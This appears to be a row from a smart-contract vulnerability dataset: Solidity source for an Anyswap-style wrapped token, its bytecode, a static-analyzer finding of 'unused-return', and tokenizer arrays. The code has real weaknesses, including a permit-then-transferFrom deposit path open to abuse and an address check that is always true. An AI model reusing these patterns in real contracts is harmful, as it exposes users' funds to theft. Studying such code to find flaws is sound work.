abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).permit(target, address(this), value, deadline, v, r, s);
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}
function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s);
return _deposit(value, to);
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
} | 0x608060405234801561001057600080fd5b506004361061033f5760003560e01c80637ecebe00116101b8578063bebbf4d011610104578063d93f2445116100a2578063f75c26641161007c578063f75c266414610774578063f954734e1461077c578063fbfa77cf1461078f578063fca3b5aa146107a25761033f565b8063d93f24451461072e578063dd62ed3e14610736578063ec126c77146107615761033f565b8063cae9ca51116100de578063cae9ca51146106ed578063cfbd488514610700578063d0e30db014610713578063d505accf1461071b5761033f565b8063bebbf4d0146106be578063c3081240146106d1578063c4b740f5146106da5761033f565b806395d89b4111610171578063a29dff721161014b578063a29dff721461066c578063a9059cbb14610675578063aa271e1a14610688578063b6b55f25146106ab5761033f565b806395d89b411461063c5780639dc29fac14610644578063a045442c146106575761033f565b80637ecebe00146105d257806381a37c18146105f25780638623ec7b1461060557806387689e28146106185780638da5cb5b1461062157806391c5df49146106295761033f565b80633ccfd60b1161029257806360e232a9116102305780636a42b8f81161020a5780636a42b8f81461056f5780636e553f65146105785780636f307dc31461058b57806370a08231146105b25761033f565b806360e232a914610536578063628d6cba146105495780636817031b1461055c5761033f565b80634ca8f0ed1161026c5780634ca8f0ed146104dc57806352113ba7146104e55780635f9b105d14610510578063605629d6146105235761033f565b80633ccfd60b146104ae5780634000aea0146104b657806340c10f19146104c95761033f565b806318160ddd116102ff5780632ebe3fbb116102d95780632ebe3fbb1461041457806330adf81f14610427578063313ce5671461044e5780633644e515146104875761033f565b806318160ddd146103e657806323b872dd146103ee5780632e1a7d4d146104015761033f565b806239d6ec14610344578062bf26f41461036a578062f714ce1461039157806306fdde03146103a4578063095ea7b3146103b95780630d707df8146103dc575b600080fd5b610357610352366004612469565b6107b5565b6040519081526020015b60405180910390f35b6103577f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b61035761039f36600461261b565b61080b565b6103ac61081f565b604051610361919061272f565b6103cc6103c7366004612440565b6108ad565b6040519015158152602001610361565b6103e4610907565b005b6103576109c3565b6103cc6103fc36600461239c565b6109ca565b61035761040f3660046125eb565b610bb5565b6103e4610422366004612350565b610bca565b6103577f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6104757f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff9091168152602001610361565b6103577f96e4618f44d3c364479f310e6743176a54de7ada23eda1bc671c167a7bda52b581565b610357610ca1565b6103cc6104c43660046124a4565b610cc2565b6103cc6104d7366004612440565b610e1b565b610357600d5481565b600b546104f8906001600160a01b031681565b6040516001600160a01b039091168152602001610361565b6103cc61051e366004612350565b610e5d565b6103cc6105313660046123d7565b610f31565b6103cc610544366004612350565b611141565b6103cc61055736600461261b565b611215565b6103e461056a366004612350565b6112dd565b61035760055481565b61035761058636600461261b565b611343565b6104f87f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b81565b6103576105c0366004612350565b60026020526000908152604090205481565b6103576105e0366004612350565b600f6020526000908152604090205481565b610357610600366004612526565b611384565b6104f86106133660046125eb565b61145e565b610357600c5481565b6104f8611488565b6009546104f8906001600160a01b031681565b6103ac611492565b6103cc610652366004612440565b61149f565b61065f6114fe565b60405161036191906126e2565b610357600e5481565b6103cc610683366004612440565b611560565b6103cc610696366004612350565b60066020526000908152604090205460ff1681565b6103576106b93660046125eb565b611636565b6103576106cc36600461261b565b611677565b610357600a5481565b6103e46106e836600461258f565b6116b1565b6103cc6106fb3660046124a4565b611703565b6103e461070e366004612350565b6117df565b610357611838565b6103e46107293660046123d7565b61191b565b6103e4611a89565b61035761074436600461236a565b601060209081526000928352604080842090915290825290205481565b6103cc61076f3660046125c7565b611af4565b6104f8611b69565b61035761078a366004612526565b611b96565b6008546104f8906001600160a01b031681565b6103e46107b0366004612350565b611c4e565b60006107bf611b69565b6001600160a01b0316336001600160a01b0316146107f85760405162461bcd60e51b81526004016107ef90612762565b60405180910390fd5b610803848484611cb4565b949350505050565b6000610818338484611cb4565b9392505050565b6000805461082c906128b1565b80601f0160208091040260200160405190810160405280929190818152602001828054610858906128b1565b80156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b505050505081565b3360008181526010602090815260408083206001600160a01b0387168085529252808320859055519192909160008051602061294f833981519152906108f69086815260200190565b60405180910390a350600192915050565b61090f611b69565b6001600160a01b0316336001600160a01b03161461093f5760405162461bcd60e51b81526004016107ef90612762565b600a5442101561094e57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b6003545b90565b60006001600160a01b0383161515806109ec57506001600160a01b0383163014155b6109f557600080fd5b6001600160a01b0384163314610aef576001600160a01b03841660009081526010602090815260408083203384529091529020546000198114610aed5782811015610a945760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b60648201526084016107ef565b6000610aa0848361286e565b6001600160a01b0387166000818152601060209081526040808320338085529083529281902085905551848152939450909260008051602061294f833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610b285760405162461bcd60e51b81526004016107ef906127d0565b610b32838261286e565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610b68908490612856565b92505081905550836001600160a01b0316856001600160a01b031660008051602061292f83398151915285604051610ba291815260200190565b60405180910390a3506001949350505050565b6000610bc2338333611cb4565b90505b919050565b610bd2611b69565b6001600160a01b0316336001600160a01b031614610c025760405162461bcd60e51b81526004016107ef90612762565b60045460ff16610c1157600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610cbd9181611cb4565b905090565b60006001600160a01b038516151580610ce457506001600160a01b0385163014155b610ced57600080fd5b3360009081526002602052604090205484811015610d1d5760405162461bcd60e51b81526004016107ef906127d0565b610d27858261286e565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610d5a908490612856565b90915550506040518581526001600160a01b03871690339060008051602061292f8339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610dbf90339089908990899060040161269a565b602060405180830381600087803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1191906125ab565b9695505050505050565b3360009081526006602052604081205460ff16610e4a5760405162461bcd60e51b81526004016107ef9061281f565b610e548383611cfc565b50600192915050565b6000610e67611b69565b6001600160a01b0316336001600160a01b031614610e975760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b038216610ebd5760405162461bcd60e51b81526004016107ef90612799565b600b80546001600160a01b0319166001600160a01b038416179055600554610ee59042612856565b600c819055600b546008546040516001600160a01b0392831692909116907f1d065115f314fb9bad9557bd5460b9e3c66f7223b1dd04e73e828f0bb5afe89f90600090a4506001919050565b600084421115610f835760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0388166000908152600f6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610fd0836128ec565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012090506110318982878787611dca565b8061104457506110448982878787611eba565b61104d57600080fd5b6001600160a01b03881615158061106d57506001600160a01b0388163014155b61107657600080fd5b6001600160a01b038916600090815260026020526040902054878110156110af5760405162461bcd60e51b81526004016107ef906127d0565b6110b9888261286e565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a92906110ef908490612856565b92505081905550886001600160a01b03168a6001600160a01b031660008051602061292f8339815191528a60405161112991815260200190565b60405180910390a35060019998505050505050505050565b600061114b611b69565b6001600160a01b0316336001600160a01b03161461117b5760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b0382166111a15760405162461bcd60e51b81526004016107ef90612799565b600b80546001600160a01b0319166001600160a01b0384161790556005546111c99042612856565b600c819055600b546008546040516001600160a01b0392831692909116907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a4506001919050565b600454600090610100900460ff16156112705760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c7941757468000000000000000060448201526064016107ef565b6001600160a01b0382166112965760405162461bcd60e51b81526004016107ef90612799565b6112a03384611f75565b6040518381526001600160a01b0383169033907f6b616089d04950dc06c45c6dd787d657980543f89651aec47924752c7d16c888906020016108f6565b6112e5611b69565b6001600160a01b0316336001600160a01b0316146113155760405162461bcd60e51b81526004016107ef90612762565b600b80546001600160a01b0319166001600160a01b03831617905560055461133d9042612856565b600c5550565b600061137a6001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b16333086612047565b61081883836120b8565b60405163d505accf60e01b81526000906001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b169063d505accf906113df908b9030908c908c908c908c908c90600401612659565b600060405180830381600087803b1580156113f957600080fd5b505af115801561140d573d6000803e3d6000fd5b506114489250506001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b16905089308a612047565b61145287836120b8565b98975050505050505050565b6007818154811061146e57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610cbd611b69565b6001805461082c906128b1565b3360009081526006602052604081205460ff166114ce5760405162461bcd60e51b81526004016107ef9061281f565b6001600160a01b0383166114f45760405162461bcd60e51b81526004016107ef90612799565b610e548383611f75565b6060600780548060200260200160405190810160405280929190818152602001828054801561155657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611538575b5050505050905090565b60006001600160a01b03831615158061158257506001600160a01b0383163014155b61158b57600080fd5b33600090815260026020526040902054828110156115bb5760405162461bcd60e51b81526004016107ef906127d0565b6115c5838261286e565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906115f8908490612856565b90915550506040518381526001600160a01b03851690339060008051602061292f833981519152906020015b60405180910390a35060019392505050565b600061166d6001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b16333085612047565b610bc282336120b8565b6000611681611b69565b6001600160a01b0316336001600160a01b03161461137a5760405162461bcd60e51b81526004016107ef90612762565b6116b9611b69565b6001600160a01b0316336001600160a01b0316146116e95760405162461bcd60e51b81526004016107ef90612762565b600480549115156101000261ff0019909216919091179055565b3360008181526010602090815260408083206001600160a01b0389168085529252808320879055519192909160008051602061294f8339815191529061174c9088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f9061178490339088908890889060040161269a565b602060405180830381600087803b15801561179e57600080fd5b505af11580156117b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d691906125ab565b95945050505050565b6117e7611b69565b6001600160a01b0316336001600160a01b0316146118175760405162461bcd60e51b81526004016107ef90612762565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b16906370a082319060240160206040518083038186803b15801561189c57600080fd5b505afa1580156118b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d49190612603565b905061190b6001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b16333084612047565b61191581336120b8565b91505090565b8342111561196b5760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0387166000908152600f6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a9190866119b8836128ec565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e001604051602081830303815290604052805190602001209050611a198882868686611dca565b80611a2c5750611a2c8882868686611eba565b611a3557600080fd5b6001600160a01b038881166000818152601060209081526040808320948c16808452948252918290208a9055905189815260008051602061294f833981519152910160405180910390a35050505050505050565b611a91611b69565b6001600160a01b0316336001600160a01b031614611ac15760405162461bcd60e51b81526004016107ef90612762565b600c54421015611ad057600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff16611b235760405162461bcd60e51b81526004016107ef9061281f565b611b2d8383611cfc565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161162491815260200190565b6000600c544210611b865750600b546001600160a01b03166109c7565b506008546001600160a01b031690565b60405163302b14eb60e11b81526000906001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b169063605629d690611bf1908b9030908c908c908c908c908c90600401612659565b602060405180830381600087803b158015611c0b57600080fd5b505af1158015611c1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4391906125ab565b5061145287836120b8565b611c56611b69565b6001600160a01b0316336001600160a01b031614611c865760405162461bcd60e51b81526004016107ef90612762565b600980546001600160a01b0319166001600160a01b038316179055600554611cae9042612856565b600a5550565b6000611cc08484611f75565b611cf46001600160a01b037f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b168385612135565b509092915050565b6001600160a01b038216611d525760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016107ef565b8060036000828254611d649190612856565b90915550506001600160a01b03821660009081526002602052604081208054839290611d91908490612856565b90915550506040518181526001600160a01b0383169060009060008051602061292f833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527f96e4618f44d3c364479f310e6743176a54de7ada23eda1bc671c167a7bda52b5602282015260428101859052600090819060620160408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0015b6020604051602081039080840390855afa158015611e79573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906114525750876001600160a01b0316816001600160a01b03161498975050505050505050565b600080611f3a866040517f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208201527f96e4618f44d3c364479f310e6743176a54de7ada23eda1bc671c167a7bda52b5603c820152605c8101829052600090607c01604051602081830303815290604052805190602001209050919050565b6040805160008082526020820180845284905260ff89169282019290925260608101879052608081018690529192509060019060a001611e57565b6001600160a01b038216611fd55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016107ef565b6001600160a01b03821660009081526002602052604081208054839290611ffd90849061286e565b925050819055508060036000828254612016919061286e565b90915550506040518181526000906001600160a01b0384169060008051602061292f83398151915290602001611dbe565b6040516001600160a01b03808516602483015283166044820152606481018290526120b29085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261216a565b50505050565b60007f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b6001600160a01b03161580159061211b57507f0000000000000000000000004691937a7508860f876c9c0a2a617e7d9e945d4b6001600160a01b03163014155b61212457600080fd5b61212e8284611cfc565b5090919050565b6040516001600160a01b03831660248201526044810182905261216590849063a9059cbb60e01b9060640161207b565b505050565b61217c826001600160a01b03166122f1565b6121c85760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016107ef565b600080836001600160a01b0316836040516121e3919061263d565b6000604051808303816000865af19150503d8060008114612220576040519150601f19603f3d011682016040523d82523d6000602084013e612225565b606091505b5091509150816122775760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016107ef565b8051156120b2578080602001905181019061229291906125ab565b6120b25760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016107ef565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906108035750141592915050565b80356001600160a01b0381168114610bc557600080fd5b803560ff81168114610bc557600080fd5b600060208284031215612361578081fd5b61081882612328565b6000806040838503121561237c578081fd5b61238583612328565b915061239360208401612328565b90509250929050565b6000806000606084860312156123b0578081fd5b6123b984612328565b92506123c760208501612328565b9150604084013590509250925092565b600080600080600080600060e0888a0312156123f1578283fd5b6123fa88612328565b965061240860208901612328565b955060408801359450606088013593506124246080890161233f565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612452578182fd5b61245b83612328565b946020939093013593505050565b60008060006060848603121561247d578283fd5b61248684612328565b92506020840135915061249b60408501612328565b90509250925092565b600080600080606085870312156124b9578384fd5b6124c285612328565b935060208501359250604085013567ffffffffffffffff808211156124e5578384fd5b818701915087601f8301126124f8578384fd5b813581811115612506578485fd5b886020828501011115612517578485fd5b95989497505060200194505050565b600080600080600080600060e0888a031215612540578283fd5b61254988612328565b965060208801359550604088013594506125656060890161233f565b93506080880135925060a0880135915061258160c08901612328565b905092959891949750929550565b6000602082840312156125a0578081fd5b81356108188161291d565b6000602082840312156125bc578081fd5b81516108188161291d565b6000806000606084860312156125db578283fd5b833592506123c760208501612328565b6000602082840312156125fc578081fd5b5035919050565b600060208284031215612614578081fd5b5051919050565b6000806040838503121561262d578182fd5b8235915061239360208401612328565b6000825161264f818460208701612885565b9190910192915050565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6001600160a01b0385168152602081018490526060604082018190528101829052600082846080840137818301608090810191909152601f909201601f191601019392505050565b6020808252825182820181905260009190848201906040850190845b818110156127235783516001600160a01b0316835292840192918401916001016126fe565b50909695505050505050565b600060208252825180602084015261274e816040850160208701612885565b601f01601f19169190910160400192915050565b60208082526019908201527f416e7973776170563345524332303a20464f5242494444454e00000000000000604082015260600190565b6020808252601c908201527f416e7973776170563345524332303a2061646472657373283078302900000000604082015260600190565b6020808252602f908201527f416e7973776170563345524332303a207472616e7366657220616d6f756e742060408201526e657863656564732062616c616e636560881b606082015260800190565b60208082526019908201527f416e7973776170563445524332303a20464f5242494444454e00000000000000604082015260600190565b6000821982111561286957612869612907565b500190565b60008282101561288057612880612907565b500390565b60005b838110156128a0578181015183820152602001612888565b838111156120b25750506000910152565b6002810460018216806128c557607f821691505b602082108114156128e657634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561290057612900612907565b5060010190565b634e487b7160e01b600052601160045260246000fd5b801515811461292b57600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a264697066735822122009f133a1a7b82a84f7eb4d540d9b7632a2fb97e06b30fd18edb4988cdb70ae8164736f6c63430008020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
24087,
2063,
2549,
2063,
2549,
27421,
2475,
2278,
2692,
2683,
26224,
16932,
10354,
22275,
28154,
2620,
12879,
2546,
16932,
2497,
2683,
22022,
2692,
2620,
2620,
2487,
2546,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
2260,
1011,
5890,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2321,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
26572,
7446,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,549 | 0x95559639aafa89fd1fe9b3fa5985b269bbb75432 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ether/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
